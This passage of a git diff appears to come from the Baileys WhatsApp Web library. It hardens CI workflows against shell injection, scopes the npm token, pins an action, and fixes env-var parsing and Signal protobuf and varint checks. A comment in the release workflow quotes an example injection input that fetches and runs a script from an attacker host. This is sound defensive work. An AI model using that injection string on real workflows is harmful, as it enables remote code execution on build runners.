diff --git a/.github/workflows/build.yml b/.github/workflows/build.yml index 35b1edd8d9f..4d0513f4a00 100644 --- a/.github/workflows/build.yml +++ b/.github/workflows/build.yml @@ -12,10 +12,10 @@ jobs: timeout-minutes: 10 steps: - - uses: actions/checkout@v3 + - uses: actions/checkout@v4 - name: Setup Node and Corepack - uses: actions/setup-node@v3.6.0 + uses: actions/setup-node@v4 with: node-version: 20.x diff --git a/.github/workflows/lint.yml b/.github/workflows/lint.yml index 9d34f1d1ad0..6836f00313e 100644 --- a/.github/workflows/lint.yml +++ b/.github/workflows/lint.yml @@ -12,10 +12,10 @@ jobs: timeout-minutes: 10 steps: - - uses: actions/checkout@v3 + - uses: actions/checkout@v4 - name: Setup Node and Corepack - uses: actions/setup-node@v3.6.0 + uses: actions/setup-node@v4 with: node-version: 20.x @@ -49,9 +49,11 @@ jobs: YARN_HTTP_RETRY: 10 run: yarn install --immutable - - name: Auto-fix formatting - run: yarn lint:fix - continue-on-error: true - + # audit CI-01: `lint:fix` modifies the working tree in place. Running + # it before `lint` meant `lint` saw the auto-corrected source and PRs + # were waved through even though the branch as committed still had the + # errors. The gate is `yarn lint` — run nothing that can heal the tree + # before it. Developers should run `yarn lint:fix` locally before + # pushing (it's wired up as `lint:fix` in package.json scripts). - name: Check linting run: yarn lint diff --git a/.github/workflows/manual-release.yml b/.github/workflows/manual-release.yml index ee4c0891ec1..c10baf28fc6 100644 --- a/.github/workflows/manual-release.yml +++ b/.github/workflows/manual-release.yml @@ -14,7 +14,7 @@ jobs: runs-on: ubuntu-latest steps: - name: Checkout - uses: actions/checkout@v3 + uses: actions/checkout@v4 with: token: ${{ secrets.PERSONAL_TOKEN }} @@ -24,7 +24,7 @@ jobs: git config --global user.email "41898282+github-actions[bot]@users.noreply.github.com" - name: Setup Node - uses: actions/setup-node@v3.6.0 + uses: actions/setup-node@v4 with: node-version: 20.x @@ -57,5 +57,12 @@ jobs: - name: Install Dependencies run: yarn install --immutable + # audit CI-02: pass `inputs.increment` through an env var instead of + # interpolating directly into the `run:` shell. Direct interpolation + # would let a malicious workflow_dispatch input (e.g. + # `patch && curl https://attacker/x | sh`) execute arbitrary commands + # on the release runner. - name: Release - run: npx release-it --increment ${{ github.event.inputs.increment }} + env: + INCREMENT: ${{ github.event.inputs.increment }} + run: npx release-it --increment "$INCREMENT" diff --git a/.github/workflows/pr-comment.yml b/.github/workflows/pr-comment.yml index c5625ff3a60..71c750ce18c 100644 --- a/.github/workflows/pr-comment.yml +++ b/.github/workflows/pr-comment.yml @@ -14,7 +14,7 @@ jobs: timeout-minutes: 10 permissions: write-all steps: - - uses: actions/checkout@v3 + - uses: actions/checkout@v4 - uses: mshick/add-pr-comment@v2 with: diff --git a/.github/workflows/publish-release.yml b/.github/workflows/publish-release.yml index 33051942ee5..917b230d7a7 100644 --- a/.github/workflows/publish-release.yml +++ b/.github/workflows/publish-release.yml @@ -12,20 +12,23 @@ jobs: runs-on: ubuntu-latest steps: - name: Checkout - uses: actions/checkout@v3 + uses: actions/checkout@v4 with: fetch-depth: 0 - name: Fetching tags run: git fetch --tags -f || true + # Setup-node WITHOUT NODE_AUTH_TOKEN — the npm registry-url is + # configured here so the auth token is only injected on the actual + # publish steps below. Earlier this step (and `yarn install` below) + # exposed NPM_TOKEN to every postinstall script in the transitive + # dep tree, which is a package-takeover primitive. (audit P2-CI-01) - name: Setup Node - uses: actions/setup-node@v3.6.0 + uses: actions/setup-node@v4 with: node-version: 20.x registry-url: 'https://registry.npmjs.org' - env: - NODE_AUTH_TOKEN: ${{ secrets.NPM_TOKEN }} - name: Enable Corepack and Set Yarn Version run: | @@ -53,10 +56,10 @@ jobs: restore-keys: | ${{ runner.os }}-yarn- + # No NODE_AUTH_TOKEN env on `yarn install` — see comment on Setup + # Node above. (audit P2-CI-01) - name: Install Dependencies run: yarn install --immutable - env: - NODE_AUTH_TOKEN: ${{ secrets.NPM_TOKEN }} - name: Publish in NPM (as `baileys`) run: npm publish --access public @@ -85,8 +88,13 @@ jobs: - name: Rename Pack run: mv *.tgz baileys.tgz + # Pinned to commit SHA (not the `2.0` tag) — supply-chain hardening + # so a compromised release of `meeDamian/github-release` can't + # silently re-target our CI. (audit P3-CI-01) + # v2.0.3 tip = 7ae19492500104f636b3fee4d8103af0fed36c8e + # (branch `2.0` and tag `v2.0.3` both point to this commit) - name: Create Release - uses: meeDamian/github-release@2.0 + uses: meeDamian/github-release@7ae19492500104f636b3fee4d8103af0fed36c8e # v2.0.3 env: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} with: diff --git a/.github/workflows/stale.yml b/.github/workflows/stale.yml index ced38cfe892..4dba168937e 100644 --- a/.github/workflows/stale.yml +++ b/.github/workflows/stale.yml @@ -10,7 +10,7 @@ jobs: stale: runs-on: ubuntu-latest steps: - - uses: actions/stale@v3 + - uses: actions/stale@v9 with: repo-token: ${{ secrets.GITHUB_TOKEN }} stale-issue-message: 'This issue is stale because it has been open for 14 days with no activity. Remove the stale label or comment or this will be closed in 14 days.' diff --git a/.github/workflows/test.yml b/.github/workflows/test.yml index 2db7647f8e3..20dac00a2f9 100644 --- a/.github/workflows/test.yml +++ b/.github/workflows/test.yml @@ -13,10 +13,10 @@ jobs: steps: - name: Checkout code - uses: actions/checkout@v3 + uses: actions/checkout@v4 - name: Setup Node.js and Corepack - uses: actions/setup-node@v3 + uses: actions/setup-node@v4 with: node-version: 20.x diff --git a/.github/workflows/update-proto.yml b/.github/workflows/update-proto.yml index 4dda37073e0..02e949d7f93 100644 --- a/.github/workflows/update-proto.yml +++ b/.github/workflows/update-proto.yml @@ -19,10 +19,10 @@ jobs: timeout-minutes: 10 steps: - - uses: actions/checkout@v3 + - uses: actions/checkout@v4 - name: Install Node - uses: actions/setup-node@v3 + uses: actions/setup-node@v4 with: node-version: 20.x @@ -62,14 +62,31 @@ jobs: - name: GenerateStatics run: yarn gen:protobuf + # audit CI-03: `wa_version` comes from a regex over output produced by + # an external proto-extract run that fetches `web.whatsapp.com`. Pass + # it through an env var AND a numeric-only filter (`tr -cd '0-9.'`) + # so a hostile injection in the upstream output can't escape the JSON + # literal or the shell context. Empty input falls through to a hard + # fail rather than producing `{"version": []}`. - name: Update baileys-version.json + env: + WA_VERSION: ${{steps.wa_proto_info.outputs.wa_version}} run: | - WA_VERSION="${{steps.wa_proto_info.outputs.wa_version}}" - WA_NUMBERS=$(echo $WA_VERSION | sed "s/\./, /g") + SAFE_VERSION=$(printf '%s' "$WA_VERSION" | tr -cd '0-9.') + # Reject anything that isn't EXACTLY `N.N.N` — `tr -cd '0-9.'` strips + # non-numeric chars but leaves trailing/leading dots ("2.3000." + # would survive) and the resulting JSON literal would be malformed: + # `{"version": [2, 3000, ]}`. Tight regex makes baileys-version.json + # corruption impossible. (audit CI-03 followup, threads 8 + 10) + if ! printf '%s' "$SAFE_VERSION" | grep -qE '^[0-9]+\.[0-9]+\.[0-9]+$'; then + echo "::error::wa_version not a valid N.N.N triple after sanitisation: '$SAFE_VERSION' (raw='$WA_VERSION')" + exit 1 + fi + WA_NUMBERS=$(printf '%s' "$SAFE_VERSION" | sed "s/\./, /g") echo "{\"version\": [$WA_NUMBERS]}" > src/Defaults/baileys-version.json - + # Confirm update - echo "✅ Updated baileys-version.json to v$WA_VERSION" + echo "✅ Updated baileys-version.json to v$SAFE_VERSION" cat src/Defaults/baileys-version.json - name: Create Pull Request @@ -100,12 +117,19 @@ jobs: - name: Enable Auto-merge if: steps.create_pr.outputs.pull-request-number != '' + # audit CI-P1-B — `wa_version` was interpolated raw into the shell + # here (and in Summary below), bypassing the sanitisation that only + # happened inside the "Update baileys-version.json" step. Pass + # through env vars + filter so a hostile WhatsApp source response + # can't escape into command execution. env: GH_TOKEN: ${{ secrets.GH_PAT || secrets.GITHUB_TOKEN }} + PR_NUMBER_INPUT: ${{ steps.create_pr.outputs.pull-request-number }} + WA_VERSION_RAW: ${{ steps.wa_proto_info.outputs.wa_version }} run: | - PR_NUMBER="${{ steps.create_pr.outputs.pull-request-number }}" - WA_VERSION="${{ steps.wa_proto_info.outputs.wa_version }}" - + PR_NUMBER=$(printf '%s' "$PR_NUMBER_INPUT" | tr -cd '0-9') + WA_VERSION=$(printf '%s' "$WA_VERSION_RAW" | tr -cd '0-9.') + echo "🔀 Enabling auto-merge for PR #$PR_NUMBER (v$WA_VERSION)..." # Enable auto-merge with squash method @@ -222,13 +246,25 @@ jobs: - name: Summary if: always() + # audit CI-P1-B — `wa_js_url` had NEVER been sanitised anywhere. It + # came verbatim from a regex over `web.whatsapp.com`'s response. We + # accept only valid HTTPS URL characters here; everything else is + # stripped before the value reaches Markdown / shell. + env: + WA_VERSION_RAW: ${{ steps.wa_proto_info.outputs.wa_version }} + WA_JS_URL_RAW: ${{ steps.wa_proto_info.outputs.wa_js_url }} + PR_NUMBER_RAW: ${{ steps.create_pr.outputs.pull-request-number }} run: | echo "### 📦 WAProto Update" >> $GITHUB_STEP_SUMMARY echo "" >> $GITHUB_STEP_SUMMARY - - WA_VERSION="${{ steps.wa_proto_info.outputs.wa_version }}" - WA_JS_URL="${{ steps.wa_proto_info.outputs.wa_js_url }}" - PR_NUMBER="${{ steps.create_pr.outputs.pull-request-number }}" + + WA_VERSION=$(printf '%s' "$WA_VERSION_RAW" | tr -cd '0-9.') + # The `-` MUST be the last char in the class, otherwise `_-+` + # is parsed as the (invalid) range from `_` (0x5F) to `+` (0x2B) + # and GNU `tr` aborts with "reverse collating sequence order", + # breaking every Summary step run. + WA_JS_URL=$(printf '%s' "$WA_JS_URL_RAW" | tr -cd 'A-Za-z0-9:/?&=._+~%#-') + PR_NUMBER=$(printf '%s' "$PR_NUMBER_RAW" | tr -cd '0-9') echo "**Version:** \`v$WA_VERSION\`" >> $GITHUB_STEP_SUMMARY echo "" >> $GITHUB_STEP_SUMMARY diff --git a/.github/workflows/update-version.yml b/.github/workflows/update-version.yml index 6b63cf8faef..bb0f9758c4a 100644 --- a/.github/workflows/update-version.yml +++ b/.github/workflows/update-version.yml @@ -100,8 +100,14 @@ jobs: - name: Check for changes id: check_changes + # audit CI-P1-A — `inputs.force` was interpolated DIRECTLY into the + # shell. A workflow_dispatch caller can pass an arbitrary string + # (the API REST accepts non-boolean values) and execute commands. + # Same pattern that fixed CI-02 in manual-release.yml. + env: + FORCE_INPUT: ${{ inputs.force }} run: | - FORCE="${{ inputs.force }}" + FORCE="$FORCE_INPUT" if git diff --quiet; then echo "has_changes=false" >> $GITHUB_OUTPUT @@ -119,12 +125,16 @@ jobs: - name: Create Pull Request id: create_pr if: steps.check_changes.outputs.has_changes == 'true' || steps.check_changes.outputs.force_mode == 'true' + # audit CI-P1-A — same fix as above for the second `inputs.force` + # occurrence in this workflow. env: GH_TOKEN: ${{ secrets.GH_PAT || secrets.GITHUB_TOKEN }} + FORCE_INPUT: ${{ inputs.force }} + VERSION_INPUT: ${{ steps.update_version.outputs.version }} run: | BRANCH_NAME="update-version/stable" - FORCE="${{ inputs.force }}" - VERSION="${{ steps.update_version.outputs.version }}" + FORCE="$FORCE_INPUT" + VERSION="$VERSION_INPUT" # Configure git git config user.name "github-actions[bot]" diff --git a/.prettierignore b/.prettierignore index a0737aa9e95..c59748a0dc8 100644 --- a/.prettierignore +++ b/.prettierignore @@ -7,3 +7,8 @@ WAProto WASignalGroup Example/Example.ts docs +# WhatsApp Web VoIP WASM bundle — vendored verbatim from Meta's source, +# do NOT auto-format (the minified output is part of the binary contract). +# eslint already ignores this path via eslint.config.mts; mirror it here so +# `lint:fix` doesn't churn the files and trip the CI clean-tree guard. +src/Voip/assets/** diff --git a/eslint.config.mts b/eslint.config.mts index abf8804bc37..3b0046572dc 100644 --- a/eslint.config.mts +++ b/eslint.config.mts @@ -26,6 +26,7 @@ export default defineConfig([globalIgnores([ "Example/Example.ts", "**/docs", "**/proto-extract", + "src/Voip/assets/**", ]), ...base, { @@ -72,4 +73,21 @@ export default defineConfig([globalIgnores([ caughtErrors: "none", }], }, +}, +{ + // src/Voip wraps the WhatsApp Web VoIP loader/worker bundle. Several + // files contain code-shaped-after the original WA Web bundle (Babel + // helpers, callback dictionaries) where `x == null` is the idiomatic + // null-OR-undefined check. Allow it ONLY for null-comparisons; other + // eqeqeq cases still error. + files: ["src/Voip/**/*.ts"], + rules: { + "eqeqeq": ["error", "always", { "null": "ignore" }], + "@typescript-eslint/no-unused-vars": ["error", { + args: "all", + argsIgnorePattern: "^_", + varsIgnorePattern: "^_", + caughtErrors: "none", + }], + }, }]); diff --git a/package.json b/package.json index 7f09551bac3..720d0103abd 100644 --- a/package.json +++ b/package.json @@ -1,148 +1,156 @@ { - "name": "baileys", - "type": "module", - "version": "7.0.0-rc.13", - "description": "A WebSockets library for interacting with WhatsApp Web", - "keywords": [ - "whatsapp", - "automation" - ], - "homepage": "https://github.com/WhiskeySockets/Baileys/", - "repository": { - "url": "git@github.com:WhiskeySockets/Baileys.git" - }, - "license": "MIT", - "author": "Rajeh Taher", - "main": "lib/index.js", - "types": "lib/index.d.ts", - "files": [ - "lib/**/*", - "WAProto/**/*", - "engine-requirements.js" - ], - "scripts": { - "build:all": "npm run build && npm run build:docs", - "build:docs": "typedoc", - "build:assets": "node scripts/copy-assets.mjs", - "build": "node scripts/build.mjs", - "changelog:last": "conventional-changelog -p angular -r 2", - "changelog:preview": "conventional-changelog -p angular -u", - "changelog:update": "conventional-changelog -p angular -i CHANGELOG.md -s -r 0", - "example": "tsx ./Example/example.ts", - "gen:protobuf": "cd WAProto && sh GenerateStatics.sh", - "format": "prettier --write \"src/**/*.{ts,js,json,md}\"", - "lint": "tsc && eslint src --ext .js,.ts", - "lint:fix": "npm run format && npm run lint -- --fix", - "prepack": "npm run build", - "prepare": "npm run build", - "preinstall": "node ./engine-requirements.js", - "release": "release-it", - "test": "node --experimental-vm-modules ./node_modules/.bin/jest --testMatch '**/*.test.ts'", - "test:e2e": "node --experimental-vm-modules ./node_modules/.bin/jest --testMatch '**/*.test-e2e.ts'", - "update:version": "tsx ./scripts/update-version.ts" - }, - "dependencies": { - "@cacheable/node-cache": "^2.0.1", - "@hapi/boom": "^10.0.1", - "async-mutex": "^0.5.0", - "fflate": "^0.8.2", - "libsignal": "^6.0.0", - "lru-cache": "^11.2.6", - "music-metadata": "^11.12.3", - "p-queue": "^9.0.0", - "pino": "^10.3.1", - "prom-client": "^15.1.3", - "protobufjs": "^8.0.0", - "whatsapp-rust-bridge": "0.5.4", - "ws": "^8.13.0" - }, - "devDependencies": { - "@eslint/eslintrc": "^3.3.1", - "@eslint/js": "^9.31.0", - "@types/better-sqlite3": "^7.6.13", - "@types/jest": "^30.0.0", - "@types/node": "^20.19.33", - "@types/ws": "^8.0.0", - "@typescript-eslint/eslint-plugin": "^8.55.0", - "@typescript-eslint/parser": "^8.55.0", - "@whiskeysockets/eslint-config": "^1.0.0", - "better-sqlite3": "^11.0.0", - "conventional-changelog": "^7.1.1", - "conventional-changelog-angular": "^8.0.0", - "esbuild-register": "^3.6.0", - "eslint": "^9.39.2", - "eslint-config-prettier": "^10.1.2", - "eslint-plugin-prettier": "^5.4.0", - "jest": "^30.0.5", - "jimp": "^1.6.0", - "jiti": "^2.4.2", - "json": "^11.0.0", - "link-preview-js": "^4.0.0", - "lru-cache": "^11.2.6", - "open": "^11.0.0", - "pino-pretty": "^13.1.1", - "prettier": "^3.8.1", - "protobufjs-cli": "^2.0.0", - "release-it": "^19.2.4", - "ts-jest": "^29.4.0", - "tsc-esm-fix": "^3.1.2", - "tsx": "^4.20.3", - "typedoc": "^0.28.17", - "typedoc-plugin-markdown": "^4.10.0", - "typescript": "^5.9.3" - }, - "peerDependencies": { - "audio-decode": "^2.2.3", - "better-sqlite3": "^11.0.0", - "jimp": "^1.6.0", - "link-preview-js": "^4.0.0", - "sharp": "*" - }, - "resolutions": { - "ajv@npm:^6.12.4": "^6.14.0", - "basic-ftp": "^5.2.4", - "brace-expansion@npm:^1.1.7": "^1.1.13", - "brace-expansion@npm:^2.0.1": "^2.0.3", - "flatted": "^3.4.2", - "glob@npm:^10.2.2": "^10.5.0", - "glob@npm:^10.3.10": "^10.5.0", - "glob@npm:^10.5.0": "^10.5.0", - "handlebars": "^4.7.9", - "ip-address": "^10.1.1", - "js-yaml@npm:^3.13.1": "^3.14.2", - "js-yaml@npm:^4.1.0": "^4.1.1", - "markdown-it": "^14.1.1", - "minimatch@npm:^3.0.4": "^3.1.5", - "minimatch@npm:^3.1.2": "^3.1.5", - "minimatch@npm:^5.0.1": "^5.1.8", - "minimatch@npm:^9.0.4": "^9.0.9", - "minimatch@npm:^9.0.5": "^9.0.9", - "picomatch@npm:^2.0.4": "^2.3.2", - "picomatch@npm:^2.3.1": "^2.3.2", - "picomatch@npm:^4.0.0": "^4.0.4", - "picomatch@npm:^4.0.2": "^4.0.4", - "socks": "^2.8.8", - "tar": "^7.5.11", - "tmp": "^0.2.5", - "underscore": "^1.13.8", - "yaml@npm:^2.6.1": "^2.8.4" - }, - "peerDependenciesMeta": { - "audio-decode": { - "optional": true - }, - "better-sqlite3": { - "optional": true - }, - "jimp": { - "optional": true - }, - "link-preview-js": { - "optional": true - } - }, - "packageManager": "yarn@4.9.2", - "engines": { - "node": ">=20.0.0" - } + "name": "baileys", + "type": "module", + "version": "7.0.0-rc.13", + "description": "A WebSockets library for interacting with WhatsApp Web", + "keywords": [ + "whatsapp", + "automation" + ], + "homepage": "https://github.com/WhiskeySockets/Baileys/", + "repository": { + "url": "git@github.com:WhiskeySockets/Baileys.git" + }, + "license": "MIT", + "author": "Rajeh Taher", + "main": "lib/index.js", + "types": "lib/index.d.ts", + "files": [ + "lib/**/*", + "WAProto/**/*", + "engine-requirements.js" + ], + "scripts": { + "build:all": "npm run build && npm run build:docs", + "build:docs": "typedoc", + "build:assets": "node scripts/copy-assets.mjs", + "build": "node scripts/build.mjs", + "changelog:last": "conventional-changelog -p angular -r 2", + "changelog:preview": "conventional-changelog -p angular -u", + "changelog:update": "conventional-changelog -p angular -i CHANGELOG.md -s -r 0", + "example": "tsx ./Example/example.ts", + "gen:protobuf": "cd WAProto && sh GenerateStatics.sh", + "format": "prettier --write \"src/**/*.{ts,js,json,md}\"", + "lint": "tsc && eslint src --ext .js,.ts", + "lint:fix": "npm run format && npm run lint -- --fix", + "prepack": "npm run build", + "prepare": "npm run build", + "preinstall": "node ./engine-requirements.js", + "release": "release-it", + "test": "node --experimental-vm-modules ./node_modules/.bin/jest --testMatch '**/*.test.ts'", + "test:e2e": "node --experimental-vm-modules ./node_modules/.bin/jest --testMatch '**/*.test-e2e.ts'", + "update:version": "tsx ./scripts/update-version.ts" + }, + "dependencies": { + "@cacheable/node-cache": "^2.0.1", + "@hapi/boom": "^10.0.1", + "async-mutex": "^0.5.0", + "fflate": "^0.8.2", + "libsignal": "^6.0.0", + "lru-cache": "^11.2.6", + "music-metadata": "^11.12.3", + "p-queue": "^9.0.0", + "pino": "^10.3.1", + "prom-client": "^15.1.3", + "protobufjs": "^8.0.0", + "whatsapp-rust-bridge": "0.5.4", + "ws": "^8.13.0" + }, + "devDependencies": { + "@eslint/eslintrc": "^3.3.1", + "@eslint/js": "^9.31.0", + "@types/better-sqlite3": "^7.6.13", + "@types/jest": "^30.0.0", + "@types/node": "^20.19.33", + "@types/ws": "^8.0.0", + "@typescript-eslint/eslint-plugin": "^8.55.0", + "@typescript-eslint/parser": "^8.55.0", + "@whiskeysockets/eslint-config": "^1.0.0", + "better-sqlite3": "^11.0.0", + "conventional-changelog": "^7.1.1", + "conventional-changelog-angular": "^8.0.0", + "esbuild-register": "^3.6.0", + "eslint": "^9.39.2", + "eslint-config-prettier": "^10.1.2", + "eslint-plugin-prettier": "^5.4.0", + "jest": "^30.0.5", + "jimp": "^1.6.0", + "jiti": "^2.4.2", + "json": "^11.0.0", + "link-preview-js": "^4.0.0", + "lru-cache": "^11.2.6", + "open": "^11.0.0", + "pino-pretty": "^13.1.1", + "prettier": "^3.8.1", + "protobufjs-cli": "^2.0.0", + "release-it": "^19.2.4", + "ts-jest": "^29.4.0", + "tsc-esm-fix": "^3.1.2", + "tsx": "^4.20.3", + "typedoc": "^0.28.17", + "typedoc-plugin-markdown": "^4.10.0", + "typescript": "^5.9.3" + }, + "peerDependencies": { + "@roamhq/wrtc": ">=0.8.0 <0.11.0", + "audio-decode": "^2.2.3", + "better-sqlite3": "^11.0.0", + "jimp": "^1.6.0", + "link-preview-js": "^4.0.0", + "qrcode-terminal": "^0.12.0", + "sharp": "*" + }, + "resolutions": { + "ajv@npm:^6.12.4": "^6.14.0", + "basic-ftp": "^5.2.4", + "brace-expansion@npm:^1.1.7": "^1.1.13", + "brace-expansion@npm:^2.0.1": "^2.0.3", + "flatted": "^3.4.2", + "glob@npm:^10.2.2": "^10.5.0", + "glob@npm:^10.3.10": "^10.5.0", + "glob@npm:^10.5.0": "^10.5.0", + "handlebars": "^4.7.9", + "ip-address": "^10.1.1", + "js-yaml@npm:^3.13.1": "^3.14.2", + "js-yaml@npm:^4.1.0": "^4.1.1", + "markdown-it": "^14.1.1", + "minimatch@npm:^3.0.4": "^3.1.5", + "minimatch@npm:^3.1.2": "^3.1.5", + "minimatch@npm:^5.0.1": "^5.1.8", + "minimatch@npm:^9.0.4": "^9.0.9", + "minimatch@npm:^9.0.5": "^9.0.9", + "picomatch@npm:^2.0.4": "^2.3.2", + "picomatch@npm:^2.3.1": "^2.3.2", + "picomatch@npm:^4.0.0": "^4.0.4", + "picomatch@npm:^4.0.2": "^4.0.4", + "socks": "^2.8.8", + "tar": "^7.5.11", + "tmp": "^0.2.5", + "underscore": "^1.13.8", + "yaml@npm:^2.6.1": "^2.8.4" + }, + "peerDependenciesMeta": { + "@roamhq/wrtc": { + "optional": true + }, + "audio-decode": { + "optional": true + }, + "better-sqlite3": { + "optional": true + }, + "jimp": { + "optional": true + }, + "link-preview-js": { + "optional": true + }, + "qrcode-terminal": { + "optional": true + } + }, + "packageManager": "yarn@4.9.2", + "engines": { + "node": ">=20.0.0" + } } diff --git a/src/Defaults/index.ts b/src/Defaults/index.ts index 9be1df95bd4..094c29da9e4 100644 --- a/src/Defaults/index.ts +++ b/src/Defaults/index.ts @@ -304,13 +304,33 @@ export const DEFAULT_CACHE_MAX_KEYS = { * - BAILEYS_SESSION_CLEANUP_ON_STARTUP: Run cleanup immediately on startup (default: true) * - BAILEYS_SESSION_AUTO_CLEAN_CORRUPTED: Auto-delete corrupted sessions (Bad MAC) (default: true) */ +/** + * Parse an integer env var with a fallback if the value is missing, empty + * or non-numeric. Bare `parseInt(envVar || 'N', 10)` returns `NaN` when + * the var is set to something non-numeric (e.g. "24h", "true") because + * `'24h' || 'N'` is truthy — and downstream `setInterval(NaN)` is clamped + * by Node to 1 ms, producing a runaway cleanup loop that pegs the event + * loop. (audit P1-DEF-01) + */ +// `min` defaults to 1 so that zero is rejected for intervals/days (which +// would produce the same runaway loop as NaN). Pass min=0 for `cleanupHour` +// where midnight (0) is a valid, intentional value. +const intFromEnv = (raw: string | undefined, fallback: number, min = 1): number => { + if (!raw) return fallback + // Use Number() instead of parseInt() so values like "24h" yield NaN + // instead of 24. parseInt("24h", 10) === 24 would silently accept + // malformed input and schedule cleanup every 24ms. (audit P2-DEF-03) + const n = Number(raw.trim()) + return Number.isInteger(n) && n >= min ? n : fallback +} + export const DEFAULT_SESSION_CLEANUP_CONFIG = { enabled: process.env.BAILEYS_SESSION_CLEANUP_ENABLED !== 'false', - intervalMs: parseInt(process.env.BAILEYS_SESSION_CLEANUP_INTERVAL || '86400000', 10), // 24h - cleanupHour: parseInt(process.env.BAILEYS_SESSION_CLEANUP_HOUR || '3', 10), // 3am - secondaryDeviceInactiveDays: parseInt(process.env.BAILEYS_SESSION_SECONDARY_INACTIVE_DAYS || '7', 10), - primaryDeviceInactiveDays: parseInt(process.env.BAILEYS_SESSION_PRIMARY_INACTIVE_DAYS || '30', 10), - lidOrphanHours: parseInt(process.env.BAILEYS_SESSION_LID_ORPHAN_HOURS || '24', 10), + intervalMs: intFromEnv(process.env.BAILEYS_SESSION_CLEANUP_INTERVAL, 86_400_000), // 24h + cleanupHour: intFromEnv(process.env.BAILEYS_SESSION_CLEANUP_HOUR, 3, 0), // 3am; 0 = midnight + secondaryDeviceInactiveDays: intFromEnv(process.env.BAILEYS_SESSION_SECONDARY_INACTIVE_DAYS, 7), + primaryDeviceInactiveDays: intFromEnv(process.env.BAILEYS_SESSION_PRIMARY_INACTIVE_DAYS, 30), + lidOrphanHours: intFromEnv(process.env.BAILEYS_SESSION_LID_ORPHAN_HOURS, 24), cleanupOnStartup: process.env.BAILEYS_SESSION_CLEANUP_ON_STARTUP !== 'false', autoCleanCorrupted: process.env.BAILEYS_SESSION_AUTO_CLEAN_CORRUPTED !== 'false' } diff --git a/src/Signal/libsignal.ts b/src/Signal/libsignal.ts index 581dba593ce..ac25577622c 100644 --- a/src/Signal/libsignal.ts +++ b/src/Signal/libsignal.ts @@ -153,13 +153,20 @@ function generateKeyFingerprint(key: Uint8Array): string { * - Byte 0: Version byte (high nibble = current version, low nibble = 3) * - Bytes 1+: Protobuf-encoded PreKeySignalMessage * - * The protobuf contains: - * - registrationId (uint32) - * - preKeyId (uint32, optional) - * - signedPreKeyId (uint32) - * - baseKey (bytes, 33 bytes - Curve25519 public key) - * - identityKey (bytes, 33 bytes - Curve25519 public key) - * - message (bytes - the actual encrypted message) + * Per libsignal's spec (WhisperTextProtocol.proto, PreKeySignalMessage): + * field 1: preKeyId (uint32, varint, wireType 0) + * field 2: baseKey (bytes 33, wireType 2) + * field 3: identityKey (bytes 33, wireType 2) ← what we want + * field 4: message (bytes, wireType 2) + * field 5: registrationId (uint32, varint, wireType 0) + * field 6: signedPreKeyId (uint32, varint, wireType 0) + * + * Earlier code looked for `fieldNumber === 5` here (audit SIG-A1) — that's + * `registrationId`, which is a varint, not a 33-byte key. Combined with the + * `wireType === 2` filter the function never matched anything and always + * returned `undefined`. Net effect: identity-change detection in + * `decryptMessage` (and the resulting `identity.changed` event + + * reinstall-triggered session cleanup) was dead code in production. * * We manually parse the protobuf to extract identityKey without depending on * the full protobuf library, making this compatible with any Signal implementation. @@ -210,8 +217,9 @@ function extractIdentityFromPkmsg(ciphertext: Uint8Array, logger?: ILogger): Uin const length = lengthResult.value offset = lengthResult.nextOffset - // Field 5 is identityKey - if (fieldNumber === 5) { + // Field 3 is identityKey — see comment block above for spec ref. + // (audit SIG-A1: was `fieldNumber === 5` which is registrationId, varint.) + if (fieldNumber === 3) { // Validate key length // eslint-disable-next-line max-depth if (length !== IDENTITY_KEY_LENGTH) { @@ -289,6 +297,14 @@ function readVarint(buffer: Uint8Array, offset: number): { value: number; nextOf while (offset < buffer.length) { const byte = buffer[offset]! + // On byte 5 (shift === 28) only the low 4 bits can fit inside a + // 32-bit varint — the top 4 bits would land at positions 32–35 and + // silently fall off the uint32. `>>> 0` masks the overflow without + // signalling it, so a crafted payload could encode a value + // arbitrarily larger than 2³² – 1 and still parse cleanly. Reject + // it the same way the 6-byte case is rejected by the `shift >= 35` + // guard below. + if (shift === 28 && (byte & 0xf0) !== 0) return undefined result |= (byte & 0x7f) << shift offset++ @@ -297,7 +313,17 @@ function readVarint(buffer: Uint8Array, offset: number): { value: number; nextOf } shift += 7 - if (shift > 35) { + // Reject once shift would reach 35 — NOT just exceed it. The 5 + // valid byte shifts are 0, 7, 14, 21, 28. After processing byte 4 + // (`shift` was 28), this increment makes `shift = 35`. With a + // `shift > 35` guard, byte 5 would still be read on the next loop + // iteration and `(byte & 0x7f) << 35` would silently fold into + // `<< 3` because JS `<<` is modulo-32 on the right operand — + // producing a corrupt value that the outer `>>> 0` would happily + // accept as a valid uint32, neutralising the + // `extractIdentityFromPkmsg` field-3 (identityKey) parse on + // crafted pkmsg payloads. + if (shift >= 35) { // Varint too long (max 5 bytes for 32-bit) // This could indicate a malformed or malicious message // Caller should log this condition at debug level @@ -1148,35 +1174,32 @@ function signalStorage( ev?: BaileysEventEmitter, logger?: ILogger ): ExtendedSignalStorage { - // Shared function to resolve PN signal address to LID if mapping exists - const resolveLIDSignalAddress = async (id: string): Promise => { - if (id.includes('.')) { - const [deviceId, device] = id.split('.') - if (!deviceId) { - throw new Error('Missing device ID') - } - - const [user, domainType_] = deviceId.split('_') - const domainType = parseInt(domainType_ || '0') - - if (domainType === WAJIDDomains.LID || domainType === WAJIDDomains.HOSTED_LID) return id - - const pnJid = `${user!}${device !== '0' ? `:${device}` : ''}@${domainType === WAJIDDomains.HOSTED ? 'hosted' : 's.whatsapp.net'}` - - const lidForPN = await lidMapping.getLIDForPN(pnJid) - if (lidForPN) { - const lidAddr = jidToSignalProtocolAddress(lidForPN) - return lidAddr.toString() - } - } - - return id - } + // Shared function to resolve PN signal address to LID if mapping exists. + // Delegates to the module-level `resolveSignalAddressId` so the two + // resolvers can't drift apart. The previous local copy threw on a + // missing deviceId (after a leading `.`); the module helper returns `id` + // unchanged for the same input. Both are safe — `transactWith` upstream + // re-validates the address shape — but converging fixes the TOCTOU the + // wrapper was originally written to close. + const resolveLIDSignalAddress = (id: string): Promise => resolveSignalAddressId(id, lidMapping) // Delayed PreKey deletion: grace period to handle race conditions // where two pkmsg with the same preKeyId arrive nearly simultaneously. // WABA deletes immediately (33ms), but we add a 5-min grace period // because we can't handle "Invalid PreKey ID" errors at the native level. + // + // INTENTIONAL DIVERGENCE FROM SIGNAL SPEC (audit P2-SIG-04): + // Signal's spec requires one-time prekeys be deleted on FIRST decrypt to + // guarantee forward secrecy — within the grace window, a captured prekey + // could in theory be reused to decrypt a replayed `pkmsg`. We accept + // that tradeoff because dropping a duplicate inbound `pkmsg` (the WABA + // behaviour) would land in 